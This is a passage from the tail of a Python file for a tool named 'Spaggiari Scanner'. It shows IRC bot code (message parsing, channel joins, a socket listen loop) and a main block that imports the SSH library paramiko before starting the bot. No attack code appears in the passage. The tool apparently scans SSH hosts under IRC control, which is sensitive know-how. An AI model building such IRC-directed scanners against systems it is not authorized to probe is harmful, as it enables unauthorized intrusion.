self.event_kick(nick, chan, kicked)
|
||||
elif args[1] == 'PRIVMSG':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
if nick != self.nickname:
|
||||
host = args[0].split('!')[1].split('@')[1]
|
||||
chan = args[2]
|
||||
if chan == self.channel:
|
||||
msg = ' '.join(args[3:])[1:]
|
||||
self.event_message(nick, host, chan, msg)
|
||||
|
||||
def join(self, chan, key=None):
|
||||
if key:
|
||||
self.raw(f'JOIN {chan} {key}')
|
||||
else:
|
||||
self.raw('JOIN ' + chan)
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
if data:
|
||||
for line in (line for line in data.split('\r\n') if line):
|
||||
debug(line)
|
||||
if len(line.split()) >= 2:
|
||||
if line.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
else:
|
||||
self.handle_events(line)
|
||||
else:
|
||||
error('No data recieved from server.')
|
||||
break
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except Exception as ex:
|
||||
error('Unexpected error occured.', ex)
|
||||
break
|
||||
self.event_disconnect()
|
||||
|
||||
def nick(self, nick):
|
||||
self.raw('NICK ' + nick)
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
def sendmsg(self, target, msg):
|
||||
self.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
# Main
|
||||
print(''.rjust(56, '#'))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print('#{0}#'.format('Spaggiari Scanner'.center(54)))
|
||||
print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54)))
|
||||
print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54)))
|
||||
print('#{0}#'.format(''.center(54)))
|
||||
print(''.rjust(56, '#'))
|
||||
if not sys.version_info.major == 3:
|
||||
error_exit('Spaggiari Scanner requires Python version 3 to run!')
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
error_exit('Failed to import the Paramiko library!')
|
||||
else:
|
||||
paramiko.util.log_to_file(os.devnull)
|
||||
Spaggiari = IRC()
|
||||
Spaggiari.start()
|
Loading…
Reference in New Issue
Block a user